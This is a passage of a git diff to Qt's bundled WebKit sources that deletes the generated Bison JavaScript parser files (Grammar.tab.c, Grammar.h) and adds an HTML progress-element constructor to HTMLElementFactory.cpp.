-#line 1260 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 311:
-
-/* Line 1455 of yacc.c  */
-#line 1261 "../../JavaScriptCore/parser/Grammar.y"
-    { if (*(yyvsp[(1) - (7)].ident) != "get" && *(yyvsp[(1) - (7)].ident) != "set") YYABORT; ;}
-    break;
-
-  case 312:
-
-/* Line 1455 of yacc.c  */
-#line 1262 "../../JavaScriptCore/parser/Grammar.y"
-    { if (*(yyvsp[(1) - (8)].ident) != "get" && *(yyvsp[(1) - (8)].ident) != "set") YYABORT; ;}
-    break;
-
-  case 316:
-
-/* Line 1455 of yacc.c  */
-#line 1272 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 317:
-
-/* Line 1455 of yacc.c  */
-#line 1273 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 318:
-
-/* Line 1455 of yacc.c  */
-#line 1275 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 322:
-
-/* Line 1455 of yacc.c  */
-#line 1282 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 517:
-
-/* Line 1455 of yacc.c  */
-#line 1650 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 518:
-
-/* Line 1455 of yacc.c  */
-#line 1651 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 520:
-
-/* Line 1455 of yacc.c  */
-#line 1656 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 521:
-
-/* Line 1455 of yacc.c  */
-#line 1660 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 522:
-
-/* Line 1455 of yacc.c  */
-#line 1661 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 525:
-
-/* Line 1455 of yacc.c  */
-#line 1667 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 526:
-
-/* Line 1455 of yacc.c  */
-#line 1668 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 530:
-
-/* Line 1455 of yacc.c  */
-#line 1675 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 533:
-
-/* Line 1455 of yacc.c  */
-#line 1684 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 534:
-
-/* Line 1455 of yacc.c  */
-#line 1685 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 539:
-
-/* Line 1455 of yacc.c  */
-#line 1702 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 555:
-
-/* Line 1455 of yacc.c  */
-#line 1733 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 557:
-
-/* Line 1455 of yacc.c  */
-#line 1735 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 559:
-
-/* Line 1455 of yacc.c  */
-#line 1740 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 561:
-
-/* Line 1455 of yacc.c  */
-#line 1742 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 563:
-
-/* Line 1455 of yacc.c  */
-#line 1747 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 565:
-
-/* Line 1455 of yacc.c  */
-#line 1749 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 568:
-
-/* Line 1455 of yacc.c  */
-#line 1761 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 569:
-
-/* Line 1455 of yacc.c  */
-#line 1762 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 578:
-
-/* Line 1455 of yacc.c  */
-#line 1786 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-  case 580:
-
-/* Line 1455 of yacc.c  */
-#line 1791 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 585:
-
-/* Line 1455 of yacc.c  */
-#line 1802 "../../JavaScriptCore/parser/Grammar.y"
-    { AUTO_SEMICOLON; ;}
-    break;
-
-  case 592:
-
-/* Line 1455 of yacc.c  */
-#line 1818 "../../JavaScriptCore/parser/Grammar.y"
-    { ;}
-    break;
-
-
-
-/* Line 1455 of yacc.c  */
-#line 5119 "WebCore/tmp/../generated/Grammar.tab.c"
-      default: break;
-    }
-  YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc);
-
-  YYPOPSTACK (yylen);
-  yylen = 0;
-  YY_STACK_PRINT (yyss, yyssp);
-
-  *++yyvsp = yyval;
-  *++yylsp = yyloc;
-
-  /* Now `shift' the result of the reduction.  Determine what state
-     that goes to, based on the state we popped back to and the rule
-     number reduced by.  */
-
-  yyn = yyr1[yyn];
-
-  yystate = yypgoto[yyn - YYNTOKENS] + *yyssp;
-  if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp)
-    yystate = yytable[yystate];
-  else
-    yystate = yydefgoto[yyn - YYNTOKENS];
-
-  goto yynewstate;
-
-
-/*------------------------------------.
-| yyerrlab -- here on detecting error |
-`------------------------------------*/
-yyerrlab:
-  /* If not already recovering from an error, report this error.  */
-  if (!yyerrstatus)
-    {
-      ++yynerrs;
-#if ! YYERROR_VERBOSE
-      yyerror (YY_("syntax error"));
-#else
-      {
-	YYSIZE_T yysize = yysyntax_error (0, yystate, yychar);
-	if (yymsg_alloc < yysize && yymsg_alloc < YYSTACK_ALLOC_MAXIMUM)
-	  {
-	    YYSIZE_T yyalloc = 2 * yysize;
-	    if (! (yysize <= yyalloc && yyalloc <= YYSTACK_ALLOC_MAXIMUM))
-	      yyalloc = YYSTACK_ALLOC_MAXIMUM;
-	    if (yymsg != yymsgbuf)
-	      YYSTACK_FREE (yymsg);
-	    yymsg = (char *) YYSTACK_ALLOC (yyalloc);
-	    if (yymsg)
-	      yymsg_alloc = yyalloc;
-	    else
-	      {
-		yymsg = yymsgbuf;
-		yymsg_alloc = sizeof yymsgbuf;
-	      }
-	  }
-
-	if (0 < yysize && yysize <= yymsg_alloc)
-	  {
-	    (void) yysyntax_error (yymsg, yystate, yychar);
-	    yyerror (yymsg);
-	  }
-	else
-	  {
-	    yyerror (YY_("syntax error"));
-	    if (yysize != 0)
-	      goto yyexhaustedlab;
-	  }
-      }
-#endif
-    }
-
-  yyerror_range[0] = yylloc;
-
-  if (yyerrstatus == 3)
-    {
-      /* If just tried and failed to reuse lookahead token after an
-	 error, discard it.  */
-
-      if (yychar <= YYEOF)
-	{
-	  /* Return failure if at end of input.  */
-	  if (yychar == YYEOF)
-	    YYABORT;
-	}
-      else
-	{
-	  yydestruct ("Error: discarding",
-		      yytoken, &yylval, &yylloc);
-	  yychar = YYEMPTY;
-	}
-    }
-
-  /* Else will try to reuse lookahead token after shifting the error
-     token.  */
-  goto yyerrlab1;
-
-
-/*---------------------------------------------------.
-| yyerrorlab -- error raised explicitly by YYERROR.  |
-`---------------------------------------------------*/
-yyerrorlab:
-
-  /* Pacify compilers like GCC when the user code never invokes
-     YYERROR and the label yyerrorlab therefore never appears in user
-     code.  */
-  if (/*CONSTCOND*/ 0)
-     goto yyerrorlab;
-
-  yyerror_range[0] = yylsp[1-yylen];
-  /* Do not reclaim the symbols of the rule which action triggered
-     this YYERROR.  */
-  YYPOPSTACK (yylen);
-  yylen = 0;
-  YY_STACK_PRINT (yyss, yyssp);
-  yystate = *yyssp;
-  goto yyerrlab1;
-
-
-/*-------------------------------------------------------------.
-| yyerrlab1 -- common code for both syntax error and YYERROR.  |
-`-------------------------------------------------------------*/
-yyerrlab1:
-  yyerrstatus = 3;	/* Each real token shifted decrements this.  */
-
-  for (;;)
-    {
-      yyn = yypact[yystate];
-      if (yyn != YYPACT_NINF)
-	{
-	  yyn += YYTERROR;
-	  if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR)
-	    {
-	      yyn = yytable[yyn];
-	      if (0 < yyn)
-		break;
-	    }
-	}
-
-      /* Pop the current state because it cannot handle the error token.  */
-      if (yyssp == yyss)
-	YYABORT;
-
-      yyerror_range[0] = *yylsp;
-      yydestruct ("Error: popping",
-		  yystos[yystate], yyvsp, yylsp);
-      YYPOPSTACK (1);
-      yystate = *yyssp;
-      YY_STACK_PRINT (yyss, yyssp);
-    }
-
-  *++yyvsp = yylval;
-
-  yyerror_range[1] = yylloc;
-  /* Using YYLLOC is tempting, but would change the location of
-     the lookahead.  YYLOC is available though.  */
-  YYLLOC_DEFAULT (yyloc, (yyerror_range - 1), 2);
-  *++yylsp = yyloc;
-
-  /* Shift the error token.  */
-  YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp);
-
-  yystate = yyn;
-  goto yynewstate;
-
-
-/*-------------------------------------.
-| yyacceptlab -- YYACCEPT comes here.  |
-`-------------------------------------*/
-yyacceptlab:
-  yyresult = 0;
-  goto yyreturn;
-
-/*-----------------------------------.
-| yyabortlab -- YYABORT comes here.  |
-`-----------------------------------*/
-yyabortlab:
-  yyresult = 1;
-  goto yyreturn;
-
-#if !defined(yyoverflow) || YYERROR_VERBOSE
-/*-------------------------------------------------.
-| yyexhaustedlab -- memory exhaustion comes here.  |
-`-------------------------------------------------*/
-yyexhaustedlab:
-  yyerror (YY_("memory exhausted"));
-  yyresult = 2;
-  /* Fall through.  */
-#endif
-
-yyreturn:
-  if (yychar != YYEMPTY)
-     yydestruct ("Cleanup: discarding lookahead",
-		 yytoken, &yylval, &yylloc);
-  /* Do not reclaim the symbols of the rule which action triggered
-     this YYABORT or YYACCEPT.  */
-  YYPOPSTACK (yylen);
-  YY_STACK_PRINT (yyss, yyssp);
-  while (yyssp != yyss)
-    {
-      yydestruct ("Cleanup: popping",
-		  yystos[*yyssp], yyvsp, yylsp);
-      YYPOPSTACK (1);
-    }
-#ifndef yyoverflow
-  if (yyss != yyssa)
-    YYSTACK_FREE (yyss);
-#endif
-#if YYERROR_VERBOSE
-  if (yymsg != yymsgbuf)
-    YYSTACK_FREE (yymsg);
-#endif
-  /* Make sure YYID is used.  */
-  return YYID (yyresult);
-}
-
-
-
-/* Line 1675 of yacc.c  */
-#line 1834 "../../JavaScriptCore/parser/Grammar.y"
-
-
-#undef GLOBAL_DATA
-
-static ExpressionNode* makeAssignNode(JSGlobalData* globalData, ExpressionNode* loc, Operator op, ExpressionNode* expr, bool locHasAssignments, bool exprHasAssignments, int start, int divot, int end)
-{
-    if (!loc->isLocation())
-        return new (globalData) AssignErrorNode(globalData, loc, op, expr, divot, divot - start, end - divot);
-
-    if (loc->isResolveNode()) {
-        ResolveNode* resolve = static_cast<ResolveNode*>(loc);
-        if (op == OpEqual) {
-            AssignResolveNode* node = new (globalData) AssignResolveNode(globalData, resolve->identifier(), expr, exprHasAssignments);
-            setExceptionLocation(node, start, divot, end);
-            return node;
-        } else
-            return new (globalData) ReadModifyResolveNode(globalData, resolve->identifier(), op, expr, exprHasAssignments, divot, divot - start, end - divot);
-    }
-    if (loc->isBracketAccessorNode()) {
-        BracketAccessorNode* bracket = static_cast<BracketAccessorNode*>(loc);
-        if (op == OpEqual)
-            return new (globalData) AssignBracketNode(globalData, bracket->base(), bracket->subscript(), expr, locHasAssignments, exprHasAssignments, bracket->divot(), bracket->divot() - start, end - bracket->divot());
-        else {
-            ReadModifyBracketNode* node = new (globalData) ReadModifyBracketNode(globalData, bracket->base(), bracket->subscript(), op, expr, locHasAssignments, exprHasAssignments, divot, divot - start, end - divot);
-            node->setSubexpressionInfo(bracket->divot(), bracket->endOffset());
-            return node;
-        }
-    }
-    ASSERT(loc->isDotAccessorNode());
-    DotAccessorNode* dot = static_cast<DotAccessorNode*>(loc);
-    if (op == OpEqual)
-        return new (globalData) AssignDotNode(globalData, dot->base(), dot->identifier(), expr, exprHasAssignments, dot->divot(), dot->divot() - start, end - dot->divot());
-
-    ReadModifyDotNode* node = new (globalData) ReadModifyDotNode(globalData, dot->base(), dot->identifier(), op, expr, exprHasAssignments, divot, divot - start, end - divot);
-    node->setSubexpressionInfo(dot->divot(), dot->endOffset());
-    return node;
-}
-
-static ExpressionNode* makePrefixNode(JSGlobalData* globalData, ExpressionNode* expr, Operator op, int start, int divot, int end)
-{
-    if (!expr->isLocation())
-        return new (globalData) PrefixErrorNode(globalData, expr, op, divot, divot - start, end - divot);
-    
-    if (expr->isResolveNode()) {
-        ResolveNode* resolve = static_cast<ResolveNode*>(expr);
-        return new (globalData) PrefixResolveNode(globalData, resolve->identifier(), op, divot, divot - start, end - divot);
-    }
-    if (expr->isBracketAccessorNode()) {
-        BracketAccessorNode* bracket = static_cast<BracketAccessorNode*>(expr);
-        PrefixBracketNode* node = new (globalData) PrefixBracketNode(globalData, bracket->base(), bracket->subscript(), op, divot, divot - start, end - divot);
-        node->setSubexpressionInfo(bracket->divot(), bracket->startOffset());
-        return node;
-    }
-    ASSERT(expr->isDotAccessorNode());
-    DotAccessorNode* dot = static_cast<DotAccessorNode*>(expr);
-    PrefixDotNode* node = new (globalData) PrefixDotNode(globalData, dot->base(), dot->identifier(), op, divot, divot - start, end - divot);
-    node->setSubexpressionInfo(dot->divot(), dot->startOffset());
-    return node;
-}
-
-static ExpressionNode* makePostfixNode(JSGlobalData* globalData, ExpressionNode* expr, Operator op, int start, int divot, int end)
-{ 
-    if (!expr->isLocation())
-        return new (globalData) PostfixErrorNode(globalData, expr, op, divot, divot - start, end - divot);
-    
-    if (expr->isResolveNode()) {
-        ResolveNode* resolve = static_cast<ResolveNode*>(expr);
-        return new (globalData) PostfixResolveNode(globalData, resolve->identifier(), op, divot, divot - start, end - divot);
-    }
-    if (expr->isBracketAccessorNode()) {
-        BracketAccessorNode* bracket = static_cast<BracketAccessorNode*>(expr);
-        PostfixBracketNode* node = new (globalData) PostfixBracketNode(globalData, bracket->base(), bracket->subscript(), op, divot, divot - start, end - divot);
-        node->setSubexpressionInfo(bracket->divot(), bracket->endOffset());
-        return node;
-        
-    }
-    ASSERT(expr->isDotAccessorNode());
-    DotAccessorNode* dot = static_cast<DotAccessorNode*>(expr);
-    PostfixDotNode* node = new (globalData) PostfixDotNode(globalData, dot->base(), dot->identifier(), op, divot, divot - start, end - divot);
-    node->setSubexpressionInfo(dot->divot(), dot->endOffset());
-    return node;
-}
-
-static ExpressionNodeInfo makeFunctionCallNode(JSGlobalData* globalData, ExpressionNodeInfo func, ArgumentsNodeInfo args, int start, int divot, int end)
-{
-    CodeFeatures features = func.m_features | args.m_features;
-    int numConstants = func.m_numConstants + args.m_numConstants;
-    if (!func.m_node->isLocation())
-        return createNodeInfo<ExpressionNode*>(new (globalData) FunctionCallValueNode(globalData, func.m_node, args.m_node, divot, divot - start, end - divot), features, numConstants);
-    if (func.m_node->isResolveNode()) {
-        ResolveNode* resolve = static_cast<ResolveNode*>(func.m_node);
-        const Identifier& identifier = resolve->identifier();
-        if (identifier == globalData->propertyNames->eval)
-            return createNodeInfo<ExpressionNode*>(new (globalData) EvalFunctionCallNode(globalData, args.m_node, divot, divot - start, end - divot), EvalFeature | features, numConstants);
-        return createNodeInfo<ExpressionNode*>(new (globalData) FunctionCallResolveNode(globalData, identifier, args.m_node, divot, divot - start, end - divot), features, numConstants);
-    }
-    if (func.m_node->isBracketAccessorNode()) {
-        BracketAccessorNode* bracket = static_cast<BracketAccessorNode*>(func.m_node);
-        FunctionCallBracketNode* node = new (globalData) FunctionCallBracketNode(globalData, bracket->base(), bracket->subscript(), args.m_node, divot, divot - start, end - divot);
-        node->setSubexpressionInfo(bracket->divot(), bracket->endOffset());
-        return createNodeInfo<ExpressionNode*>(node, features, numConstants);
-    }
-    ASSERT(func.m_node->isDotAccessorNode());
-    DotAccessorNode* dot = static_cast<DotAccessorNode*>(func.m_node);
-    FunctionCallDotNode* node;
-    if (dot->identifier() == globalData->propertyNames->call)
-        node = new (globalData) CallFunctionCallDotNode(globalData, dot->base(), dot->identifier(), args.m_node, divot, divot - start, end - divot);
-    else if (dot->identifier() == globalData->propertyNames->apply)
-        node = new (globalData) ApplyFunctionCallDotNode(globalData, dot->base(), dot->identifier(), args.m_node, divot, divot - start, end - divot);
-    else
-        node = new (globalData) FunctionCallDotNode(globalData, dot->base(), dot->identifier(), args.m_node, divot, divot - start, end - divot);
-    node->setSubexpressionInfo(dot->divot(), dot->endOffset());
-    return createNodeInfo<ExpressionNode*>(node, features, numConstants);
-}
-
-static ExpressionNode* makeTypeOfNode(JSGlobalData* globalData, ExpressionNode* expr)
-{
-    if (expr->isResolveNode()) {
-        ResolveNode* resolve = static_cast<ResolveNode*>(expr);
-        return new (globalData) TypeOfResolveNode(globalData, resolve->identifier());
-    }
-    return new (globalData) TypeOfValueNode(globalData, expr);
-}
-
-static ExpressionNode* makeDeleteNode(JSGlobalData* globalData, ExpressionNode* expr, int start, int divot, int end)
-{
-    if (!expr->isLocation())
-        return new (globalData) DeleteValueNode(globalData, expr);
-    if (expr->isResolveNode()) {
-        ResolveNode* resolve = static_cast<ResolveNode*>(expr);
-        return new (globalData) DeleteResolveNode(globalData, resolve->identifier(), divot, divot - start, end - divot);
-    }
-    if (expr->isBracketAccessorNode()) {
-        BracketAccessorNode* bracket = static_cast<BracketAccessorNode*>(expr);
-        return new (globalData) DeleteBracketNode(globalData, bracket->base(), bracket->subscript(), divot, divot - start, end - divot);
-    }
-    ASSERT(expr->isDotAccessorNode());
-    DotAccessorNode* dot = static_cast<DotAccessorNode*>(expr);
-    return new (globalData) DeleteDotNode(globalData, dot->base(), dot->identifier(), divot, divot - start, end - divot);
-}
-
-static PropertyNode* makeGetterOrSetterPropertyNode(JSGlobalData* globalData, const Identifier& getOrSet, const Identifier& name, ParameterNode* params, FunctionBodyNode* body, const SourceCode& source)
-{
-    PropertyNode::Type type;
-    if (getOrSet == "get")
-        type = PropertyNode::Getter;
-    else if (getOrSet == "set")
-        type = PropertyNode::Setter;
-    else
-        return 0;
-    return new (globalData) PropertyNode(globalData, name, new (globalData) FuncExprNode(globalData, globalData->propertyNames->nullIdentifier, body, source, params), type);
-}
-
-static ExpressionNode* makeNegateNode(JSGlobalData* globalData, ExpressionNode* n)
-{
-    if (n->isNumber()) {
-        NumberNode* number = static_cast<NumberNode*>(n);
-
-        if (number->value() > 0.0) {
-            number->setValue(-number->value());
-            return number;
-        }
-    }
-
-    return new (globalData) NegateNode(globalData, n);
-}
-
-static NumberNode* makeNumberNode(JSGlobalData* globalData, double d)
-{
-    return new (globalData) NumberNode(globalData, d);
-}
-
-static ExpressionNode* makeBitwiseNotNode(JSGlobalData* globalData, ExpressionNode* expr)
-{
-    if (expr->isNumber())
-        return makeNumberNode(globalData, ~toInt32(static_cast<NumberNode*>(expr)->value()));
-    return new (globalData) BitwiseNotNode(globalData, expr);
-}
-
-static ExpressionNode* makeMultNode(JSGlobalData* globalData, ExpressionNode* expr1, ExpressionNode* expr2, bool rightHasAssignments)
-{
-    expr1 = expr1->stripUnaryPlus();
-    expr2 = expr2->stripUnaryPlus();
-
-    if (expr1->isNumber() && expr2->isNumber())
-        return makeNumberNode(globalData, static_cast<NumberNode*>(expr1)->value() * static_cast<NumberNode*>(expr2)->value());
-
-    if (expr1->isNumber() && static_cast<NumberNode*>(expr1)->value() == 1)
-        return new (globalData) UnaryPlusNode(globalData, expr2);
-
-    if (expr2->isNumber() && static_cast<NumberNode*>(expr2)->value() == 1)
-        return new (globalData) UnaryPlusNode(globalData, expr1);
-
-    return new (globalData) MultNode(globalData, expr1, expr2, rightHasAssignments);
-}
-
-static ExpressionNode* makeDivNode(JSGlobalData* globalData, ExpressionNode* expr1, ExpressionNode* expr2, bool rightHasAssignments)
-{
-    expr1 = expr1->stripUnaryPlus();
-    expr2 = expr2->stripUnaryPlus();
-
-    if (expr1->isNumber() && expr2->isNumber())
-        return makeNumberNode(globalData, static_cast<NumberNode*>(expr1)->value() / static_cast<NumberNode*>(expr2)->value());
-    return new (globalData) DivNode(globalData, expr1, expr2, rightHasAssignments);
-}
-
-static ExpressionNode* makeAddNode(JSGlobalData* globalData, ExpressionNode* expr1, ExpressionNode* expr2, bool rightHasAssignments)
-{
-    if (expr1->isNumber() && expr2->isNumber())
-        return makeNumberNode(globalData, static_cast<NumberNode*>(expr1)->value() + static_cast<NumberNode*>(expr2)->value());
-    return new (globalData) AddNode(globalData, expr1, expr2, rightHasAssignments);
-}
-
-static ExpressionNode* makeSubNode(JSGlobalData* globalData, ExpressionNode* expr1, ExpressionNode* expr2, bool rightHasAssignments)
-{
-    expr1 = expr1->stripUnaryPlus();
-    expr2 = expr2->stripUnaryPlus();
-
-    if (expr1->isNumber() && expr2->isNumber())
-        return makeNumberNode(globalData, static_cast<NumberNode*>(expr1)->value() - static_cast<NumberNode*>(expr2)->value());
-    return new (globalData) SubNode(globalData, expr1, expr2, rightHasAssignments);
-}
-
-static ExpressionNode* makeLeftShiftNode(JSGlobalData* globalData, ExpressionNode* expr1, ExpressionNode* expr2, bool rightHasAssignments)
-{
-    if (expr1->isNumber() && expr2->isNumber())
-        return makeNumberNode(globalData, toInt32(static_cast<NumberNode*>(expr1)->value()) << (toUInt32(static_cast<NumberNode*>(expr2)->value()) & 0x1f));
-    return new (globalData) LeftShiftNode(globalData, expr1, expr2, rightHasAssignments);
-}
-
-static ExpressionNode* makeRightShiftNode(JSGlobalData* globalData, ExpressionNode* expr1, ExpressionNode* expr2, bool rightHasAssignments)
-{
-    if (expr1->isNumber() && expr2->isNumber())
-        return makeNumberNode(globalData, toInt32(static_cast<NumberNode*>(expr1)->value()) >> (toUInt32(static_cast<NumberNode*>(expr2)->value()) & 0x1f));
-    return new (globalData) RightShiftNode(globalData, expr1, expr2, rightHasAssignments);
-}
-
-// Called by yyparse on error.
-int yyerror(const char*)
-{
-    return 1;
-}
-
-// May we automatically insert a semicolon?
-static bool allowAutomaticSemicolon(Lexer& lexer, int yychar)
-{
-    return yychar == CLOSEBRACE || yychar == 0 || lexer.prevTerminator();
-}
-
-static ExpressionNode* combineCommaNodes(JSGlobalData* globalData, ExpressionNode* list, ExpressionNode* init)
-{
-    if (!list)
-        return init;
-    if (list->isCommaNode()) {
-        static_cast<CommaNode*>(list)->append(init);
-        return list;
-    }
-    return new (globalData) CommaNode(globalData, list, init);
-}
-
-// We turn variable declarations into either assignments or empty
-// statements (which later get stripped out), because the actual
-// declaration work is hoisted up to the start of the function body
-static StatementNode* makeVarStatementNode(JSGlobalData* globalData, ExpressionNode* expr)
-{
-    if (!expr)
-        return new (globalData) EmptyStatementNode(globalData);
-    return new (globalData) VarStatementNode(globalData, expr);
-}
-
diff --git a/src/3rdparty/webkit/WebCore/generated/Grammar.h b/src/3rdparty/webkit/WebCore/generated/Grammar.h
deleted file mode 100644
index e555cfb..0000000
--- a/src/3rdparty/webkit/WebCore/generated/Grammar.h
+++ /dev/null
@@ -1,173 +0,0 @@
-
-/* A Bison parser, made by GNU Bison 2.4.1.  */
-
-/* Skeleton interface for Bison's Yacc-like parsers in C
-   
-      Copyright (C) 1984, 1989, 1990, 2000, 2001, 2002, 2003, 2004, 2005, 2006
-   Free Software Foundation, Inc.
-   
-   This program is free software: you can redistribute it and/or modify
-   it under the terms of the GNU General Public License as published by
-   the Free Software Foundation, either version 3 of the License, or
-   (at your option) any later version.
-   
-   This program is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   GNU General Public License for more details.
-   
-   You should have received a copy of the GNU General Public License
-   along with this program.  If not, see <http://www.gnu.org/licenses/>.  */
-
-/* As a special exception, you may create a larger work that contains
-   part or all of the Bison parser skeleton and distribute that work
-   under terms of your choice, so long as that work isn't itself a
-   parser generator using the skeleton or a modified version thereof
-   as a parser skeleton.  Alternatively, if you modify or redistribute
-   the parser skeleton itself, you may (at your option) remove this
-   special exception, which will cause the skeleton and the resulting
-   Bison output files to be licensed under the GNU General Public
-   License without this special exception.
-   
-   This special exception was added by the Free Software Foundation in
-   version 2.2 of Bison.  */
-
-
-/* Tokens.  */
-#ifndef YYTOKENTYPE
-# define YYTOKENTYPE
-   /* Put the tokens into the symbol table, so that GDB and other debuggers
-      know about them.  */
-   enum yytokentype {
-     NULLTOKEN = 258,
-     TRUETOKEN = 259,
-     FALSETOKEN = 260,
-     BREAK = 261,
-     CASE = 262,
-     DEFAULT = 263,
-     FOR = 264,
-     NEW = 265,
-     VAR = 266,
-     CONSTTOKEN = 267,
-     CONTINUE = 268,
-     FUNCTION = 269,
-     RETURN = 270,
-     VOIDTOKEN = 271,
-     DELETETOKEN = 272,
-     IF = 273,
-     THISTOKEN = 274,
-     DO = 275,
-     WHILE = 276,
-     INTOKEN = 277,
-     INSTANCEOF = 278,
-     TYPEOF = 279,
-     SWITCH = 280,
-     WITH = 281,
-     RESERVED = 282,
-     THROW = 283,
-     TRY = 284,
-     CATCH = 285,
-     FINALLY = 286,
-     DEBUGGER = 287,
-     IF_WITHOUT_ELSE = 288,
-     ELSE = 289,
-     EQEQ = 290,
-     NE = 291,
-     STREQ = 292,
-     STRNEQ = 293,
-     LE = 294,
-     GE = 295,
-     OR = 296,
-     AND = 297,
-     PLUSPLUS = 298,
-     MINUSMINUS = 299,
-     LSHIFT = 300,
-     RSHIFT = 301,
-     URSHIFT = 302,
-     PLUSEQUAL = 303,
-     MINUSEQUAL = 304,
-     MULTEQUAL = 305,
-     DIVEQUAL = 306,
-     LSHIFTEQUAL = 307,
-     RSHIFTEQUAL = 308,
-     URSHIFTEQUAL = 309,
-     ANDEQUAL = 310,
-     MODEQUAL = 311,
-     XOREQUAL = 312,
-     OREQUAL = 313,
-     OPENBRACE = 314,
-     CLOSEBRACE = 315,
-     NUMBER = 316,
-     IDENT = 317,
-     STRING = 318,
-     AUTOPLUSPLUS = 319,
-     AUTOMINUSMINUS = 320
-   };
-#endif
-
-
-
-#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
-typedef union YYSTYPE
-{
-
-/* Line 1676 of yacc.c  */
-#line 146 "../../JavaScriptCore/parser/Grammar.y"
-
-    int                 intValue;
-    double              doubleValue;
-    const Identifier*   ident;
-
-    // expression subtrees
-    ExpressionNodeInfo  expressionNode;
-    FuncDeclNodeInfo    funcDeclNode;
-    PropertyNodeInfo    propertyNode;
-    ArgumentsNodeInfo   argumentsNode;
-    ConstDeclNodeInfo   constDeclNode;
-    CaseBlockNodeInfo   caseBlockNode;
-    CaseClauseNodeInfo  caseClauseNode;
-    FuncExprNodeInfo    funcExprNode;
-
-    // statement nodes
-    StatementNodeInfo   statementNode;
-    FunctionBodyNode*   functionBodyNode;
-    ProgramNode*        programNode;
-
-    SourceElementsInfo  sourceElements;
-    PropertyListInfo    propertyList;
-    ArgumentListInfo    argumentList;
-    VarDeclListInfo     varDeclList;
-    ConstDeclListInfo   constDeclList;
-    ClauseListInfo      clauseList;
-    ElementListInfo     elementList;
-    ParameterListInfo   parameterList;
-
-    Operator            op;
-
-
-
-/* Line 1676 of yacc.c  */
-#line 151 "WebCore/tmp/../generated/Grammar.tab.h"
-} YYSTYPE;
-# define YYSTYPE_IS_TRIVIAL 1
-# define yystype YYSTYPE /* obsolescent; will be withdrawn */
-# define YYSTYPE_IS_DECLARED 1
-#endif
-
-
-
-#if ! defined YYLTYPE && ! defined YYLTYPE_IS_DECLARED
-typedef struct YYLTYPE
-{
-  int first_line;
-  int first_column;
-  int last_line;
-  int last_column;
-} YYLTYPE;
-# define yyltype YYLTYPE /* obsolescent; will be withdrawn */
-# define YYLTYPE_IS_DECLARED 1
-# define YYLTYPE_IS_TRIVIAL 1
-#endif
-
-
-
diff --git a/src/3rdparty/webkit/WebCore/generated/HTMLElementFactory.cpp b/src/3rdparty/webkit/WebCore/generated/HTMLElementFactory.cpp
index 4cb475f..c5afe7e 100644
--- a/src/3rdparty/webkit/WebCore/generated/HTMLElementFactory.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/HTMLElementFactory.cpp
@@ -84,6 +84,7 @@
 #include "HTMLOptionElement.h"
 #include "HTMLParagraphElement.h"
 #include "HTMLParamElement.h"
+#include "HTMLProgressElement.h"
 #include "HTMLQuoteElement.h"
 #include "HTMLScriptElement.h"
 #include "HTMLSelectElement.h"
@@ -393,6 +394,14 @@ static PassRefPtr<HTMLElement> paramConstructor(const QualifiedName& tagName, Do
     return new HTMLParamElement(tagName, document);
 }
 
+#if ENABLE(PROGRESS_TAG)
+
+static PassRefPtr<HTMLElement> progressConstructor(const QualifiedName& tagName, Document* document, HTMLFormElement*, bool)
+{
+    return HTMLProgressElement::create(tagName, document);
+}
+
+#endif
 static PassRefPtr<HTMLElement> quoteConstructor(const QualifiedName& tagName, Document* document, HTMLFormElement*, bool)
 {
     return new HTMLQuoteElement(tagName, document);
@@ -565,6 +574,10 @@ static void createFunctionMap()
     addTag(pTag, paragraphConstructor);
     addTag(paramTag, paramConstructor);
     addTag(preTag, preConstructor);
+#if ENABLE(PROGRESS_TAG)
+    addTag(progressTag, progressConstructor);
+#endif
+
     addTag(qTag, quoteConstructor);
     addTag(scriptTag, scriptConstructor);
     addTag(selectTag, selectConstructor);
diff --git a/src/3rdparty/webkit/WebCore/generated/HTMLEntityNames.c b/src/3rdparty/webkit/WebCore/generated/HTMLEntityNames.c
index 761f29d..8bd9d97 100644
